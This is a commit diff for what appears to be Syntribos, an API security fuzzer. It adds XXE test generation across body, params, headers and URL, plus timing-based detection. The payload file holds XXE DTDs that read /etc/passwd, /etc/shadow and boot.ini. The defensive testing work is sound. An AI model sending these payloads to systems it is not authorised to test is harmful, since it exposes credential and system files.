Improved XML external entity tests
1) XML external entity tests are now only generated and run when the API method supports XML. 2) Supports timing attacks 3) Now fuzzes permutations of XXE DTDs Change-Id: Ibe81e69f00ef3f29234037a421e40645cf1341e9
This commit is contained in:
parent
58688be8d8
commit
7f7ad241ef
|
@ -1,3 +1,4 @@
|
|||
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
|
||||
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>&xxe;</foo>
|
||||
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>
|
||||
<!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
|
||||
<!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]>
|
||||
<!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "http://www.openstack.org" >]>
|
||||
<!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "http://www.openstackorg" >]>
|
|
@ -15,6 +15,8 @@ import copy
|
|||
import json
|
||||
import xml.etree.ElementTree as ElementTree
|
||||
|
||||
from six.moves import html_parser
|
||||
|
||||
|
||||
_iterators = {}
|
||||
|
||||
|
@ -84,7 +86,10 @@ class RequestHelperMixin(object):
|
|||
if isinstance(data, dict):
|
||||
return json.dumps(data)
|
||||
elif isinstance(data, ElementTree.Element):
|
||||
return ElementTree.tostring(data)
|
||||
str_data = ElementTree.tostring(data)
|
||||
# No way to stop tostring from HTML escaping even if we wanted
|
||||
h = html_parser.HTMLParser()
|
||||
return h.unescape(str_data)
|
||||
else:
|
||||
return data
|
||||
|
||||
|
|
|
@ -144,7 +144,8 @@ class Runner(object):
|
|||
for file_path, req_str in args.input:
|
||||
for test_name, test_class in cls.get_tests(args.test_types):
|
||||
for test in test_class.get_test_cases(file_path, req_str):
|
||||
cls.run_test(test, result, args.dry_run)
|
||||
if test:
|
||||
cls.run_test(test, result, args.dry_run)
|
||||
cls.print_result(result, start_time, args)
|
||||
except KeyboardInterrupt:
|
||||
cafe.drivers.base.print_exception(
|
||||
|
|
|
@ -22,3 +22,7 @@ class BaseFuzzConfig(ConfigSectionInterface):
|
|||
@property
|
||||
def percent(self):
|
||||
return float(self.get("percent", 200.0))
|
||||
|
||||
@property
|
||||
def time_difference_percent(self):
|
||||
return float(self.get("time_difference_percent", 200.0))
|
||||
|
|
|
@ -11,14 +11,18 @@
|
|||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
import os
|
||||
|
||||
from syntribos.issue import Issue
|
||||
from syntribos.tests.fuzz import base_fuzz
|
||||
import syntribos.tests.fuzz.datagen
|
||||
|
||||
|
||||
class XMLExternalEntityBody(base_fuzz.BaseFuzzTestCase):
|
||||
test_name = "XML_EXTERNAL_ENTITY_BODY"
|
||||
test_type = "data"
|
||||
data_key = "xml-external.txt"
|
||||
dtds_data_key = "xml-external.txt"
|
||||
config = syntribos.tests.fuzz.config.BaseFuzzConfig()
|
||||
failure_keys = [
|
||||
'root:',
|
||||
'root@',
|
||||
|
@ -30,6 +34,51 @@ class XMLExternalEntityBody(base_fuzz.BaseFuzzTestCase):
|
|||
'disk(0)',
|
||||
'partition']
|
||||
|
||||
@classmethod
|
||||
def get_test_cases(cls, filename, file_content):
|
||||
"""Makes sure API call supports XML
|
||||
|
||||
Overrides parent fuzz test generation, if API method does not support
|
||||
XML, do not generate tests.
|
||||
"""
|
||||
# Send request for different content-types
|
||||
request_obj = syntribos.tests.fuzz.datagen.FuzzParser.create_request(
|
||||
file_content, os.environ.get("SYNTRIBOS_ENDPOINT"))
|
||||
|
||||
prepared_copy = request_obj.get_prepared_copy()
|
||||
prepared_copy.headers['content-type'] = "application/json"
|
||||
prepared_copy_xml = prepared_copy.get_prepared_copy()
|
||||
prepared_copy_xml.headers['content-type'] = "application/xml"
|
||||
|
||||
init_response = cls.client.send_request(prepared_copy)
|
||||
init_response_xml = cls.client.send_request(prepared_copy_xml)
|
||||
|
||||
cls.init_response = init_response
|
||||
|
||||
content_type = init_response.headers['content-type']
|
||||
content_type_xml_request = init_response_xml.headers['content-type']
|
||||
if ('xml' not in content_type and
|
||||
'xml' not in content_type_xml_request):
|
||||
return
|
||||
|
||||
if (init_response.status_code in (400, 415) or
|
||||
init_response_xml.status_code in (400, 415)):
|
||||
return
|
||||
|
||||
# iterate through permutations of doctype declarations and fuzz fields
|
||||
dtds = cls._get_strings(cls.dtds_data_key)
|
||||
for d_num, dtd in enumerate(dtds):
|
||||
prefix_name = "{filename}_{test_name}_{fuzz_file}{d_index}_"
|
||||
prefix_name = prefix_name.format(
|
||||
filename=filename, test_name=cls.test_name,
|
||||
fuzz_file=cls.dtds_data_key, d_index=d_num)
|
||||
fr = request_obj.fuzz_request(
|
||||
["&xxe;"], cls.test_type, prefix_name)
|
||||
for fuzz_name, request, fuzz_string, param_path in fr:
|
||||
request.data = "{0}\n{1}".format(dtd, request.data)
|
||||
yield cls.extend_class(fuzz_name, fuzz_string, param_path,
|
||||
{"request": request})
|
||||
|
||||
def test_case(self):
|
||||
self.test_default_issues()
|
||||
failed_strings = self.data_driven_failure_cases()
|
||||
|
@ -46,18 +95,16 @@ class XMLExternalEntityBody(base_fuzz.BaseFuzzTestCase):
|
|||
)
|
||||
)
|
||||
|
||||
|
||||
class XMLExternalEntityParams(XMLExternalEntityBody):
|
||||
test_name = "XML_EXTERNAL_ENTITY_PARAMS"
|
||||
test_type = "params"
|
||||
|
||||
|
||||
class XMLExternalEntityHeaders(XMLExternalEntityBody):
|
||||
test_name = "XML_EXTERNAL_ENTITY_HEADERS"
|
||||
test_type = "headers"
|
||||
|
||||
|
||||
class XMLExternalEntityURL(XMLExternalEntityBody):
|
||||
test_name = "XML_EXTERNAL_ENTITY_URL"
|
||||
test_type = "url"
|
||||
url_var = "FUZZ"
|
||||
time_diff = self.config.time_difference_percent / 100
|
||||
# Timing attacks for requesting invalid url in dtd
|
||||
if (self.resp.elapsed.total_seconds() >
|
||||
time_diff * self.init_response.elapsed.total_seconds()):
|
||||
self.register_issue(
|
||||
Issue(test="xml_timing",
|
||||
severity="Medium",
|
||||
confidence="Medium",
|
||||
text=("The time it took to resolve a request with an "
|
||||
"invalid URL in the DTD takes too long compared "
|
||||
"to the baseline request. This could reflect a "
|
||||
"vulnerability to an XML external entity attack."))
|
||||
)
|
||||
|
|
Loading…
Reference in New Issue